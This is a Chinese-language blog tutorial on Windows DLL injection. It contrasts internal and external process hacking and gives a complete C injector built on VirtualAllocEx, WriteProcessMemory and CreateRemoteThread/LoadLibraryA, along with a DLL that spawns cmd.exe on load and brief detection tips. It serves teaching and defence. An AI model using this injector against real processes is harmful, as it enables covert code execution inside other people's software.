【Day 06】致不灭的 DLL - DLL Injection

环境与工具

  • Windows 10 21H1
  • Process Explorer v16.32
  • Visual Studio 2019

Internal vs External

要了解 internal hack 跟 external hack 的差别,首先要知道 process 的概念。

这边要知道的只有两件事:

  • process 是执行中的 program,只有在执行之後,档案中的资料才会被搬到记忆体中
  • 每个 process 都有自己的地址空间,包含 text region, data region, stack region

综合以上两件事,应该就能理解 internal 和 external 的差别。假设现在有个目标 process,前者的做法是相当於直接在目标 process 的内部操作记忆体;後者则是从另一个 process 去读取或写入目标 process。

既然不管是 internal 还是 external,目的都是去操作目标 process 的记忆体,那用哪个有什麽差别?

Internal Hack External Hack
执行速度
能做到的事情
被侦测到的可能性 有各种方法可以让载入行为不容易被发现

基本上看上表就可以知道 external 的方法就只有在要做的事情很少,比如说只是要 patch 几个 byte 的情况下才会使用。如果要做比较复杂,而且行迹比较隐密的操作,一般会使用 internal。

今天的主题,朴实无华的 DLL Injection,也是一般最常见的 DLL Injection,就是一种 internal hack。

DLL Injection

简介

第一次听到 DLL Injection,不确定有没有人跟我以前一样觉得它是 SQL Injection 的好朋友,然而它们在做法与观念上都相差很多。

打开 Sysinternals 的 procexp.exe / procexe64.exe,这工具 - process explorer 可以看到许多目前正在运行的 process,随意点一个 process 後下方会显示这个 process 所用的 handle,其中也包含许多 DLL。

DLL Injection 做的事情就是将 DLL 载入目标 process,载入的 DLL 就可以在目标 process 中执行,并达到使用者的目的。等等在做完 DLL Injection 後,用 process explorer 可以在目标 process 中看到载入的 DLL。

实作流程

  1. 取得目标 process 的 handle
  2. 申请一块目标 process 的记忆体
  3. 将要注入 dll 路径字串写入目标 process
  4. 从 kernel32.dll 取出其中的函数 LoadLibraryA
  5. 在目标 process 新开一个 thread,并执行 LoadLibraryA(<要注入的 dll>)

POC

里面的注解基本上就是实作流程,遇到不熟的函数可以直接翻 MSDN,完整专案可以看我的 GitHub zeze-zeze/2021iThome

#include <windows.h>
#include <stdio.h>

// dll 路径根据自己放的位置填
char dllname[150] = "<Path To DLL File>";
// pid 可以自己选,我是选 explorer.exe
DWORD pid = 13772;

int main() {
    // 1. 取得目标 process 的 handle
    HANDLE hprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    
    // 2. 申请一块目标 process 的记忆体
    int size = strlen(dllname) + 5;
    PVOID procdlladdr = VirtualAllocEx(hprocess, NULL, size, MEM_COMMIT, PAGE_READWRITE);
    if (procdlladdr == NULL) {
        printf("handle %p VirtualAllocEx failed\n", hprocess);
        return 0;
    }
    
    // 3. 将要注入 dll 路径字串写入目标 process
    SIZE_T writenum;
    if (!WriteProcessMemory(hprocess, procdlladdr, dllname, size, &writenum)) {
        printf("handle %p WriteProcessMemory failed\n", hprocess);
        return 0;
    }
    
    // 4. 从 kernel32.dll 取出其中的函数 LoadLibraryA
    FARPROC loadfuncaddr = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
    if (!loadfuncaddr) {
        printf("handle %p GetProcAddress failed\n", hprocess);
        return 0;
    }
    
    // 5. 在目标 process 新开一个 thread,并执行 LoadLibraryA(<要注入的 dll>)
    HANDLE hthread = CreateRemoteThread(hprocess, NULL, 0, (LPTHREAD_START_ROUTINE)loadfuncaddr, (LPVOID)procdlladdr, 0, NULL);
    if (!hthread) {
        printf("handle %p CreateRemoteThread failed\n", hprocess);
        return 0;
    }

    CloseHandle(hthread);
    CloseHandle(hprocess);

    return 0;
}

这边也意思意思放个 DLL,如果你不知道 DLL 要写什麽的话

#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
        // 在 DLL 载入时执行 cmd.exe
        case DLL_PROCESS_ATTACH: {
            WinExec("cmd.exe", 1);
            break;
        }
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

侦测

  • 在 process 本身监控自己的 dll 载入
  • 用 ETW 侦测 image load
  • TLS callback

DLL Injection 不单纯是红队会使用的技巧,一些工具、防毒软件为了能够更容易监控一些 process,也会使用到 DLL Injection,所以没办法直接利用有没有 DLL Injection 就判断一个软件是不是恶意程序。

参考资料

internal vs external
DLL Injector
process 概念


<<:  【Day 06】- 听说 F12 可以拿来骇入小恐龙? (网页开发工具分析流量)

>>:  Python - Python num2words 套件 - 将数字转换为多种语言的单词 - 参考笔记

D31 - 用 Swift 和公开资讯,打造投资理财的 Apps { 台股申购功能扩充,算出价差.2}

上一篇,提到了可以在 tableView(_:willDisplay:forRowAt:) 中发动 ...

Day2

rules of operator precedence 简单的小概念就是运算子(operator)...

Day 08-Code 要 Review,Infrastrcture 岂不 Review?吾未见其明也

Code 要 Review,Infrastrcture 岂不 Review?吾未见其明也 CI/CD...

实际上与使用者对话

自从上周看了 YC SUS 的课程後,了解到了与使用者对话的重要性,在这周之中花了不少时间更加贴近自...

[Day29] RSI指标

今天做的是RSI指标,他是用一个公式去测量过去一段周期内的涨跌强弱,然後用0~100的数据来表示,越...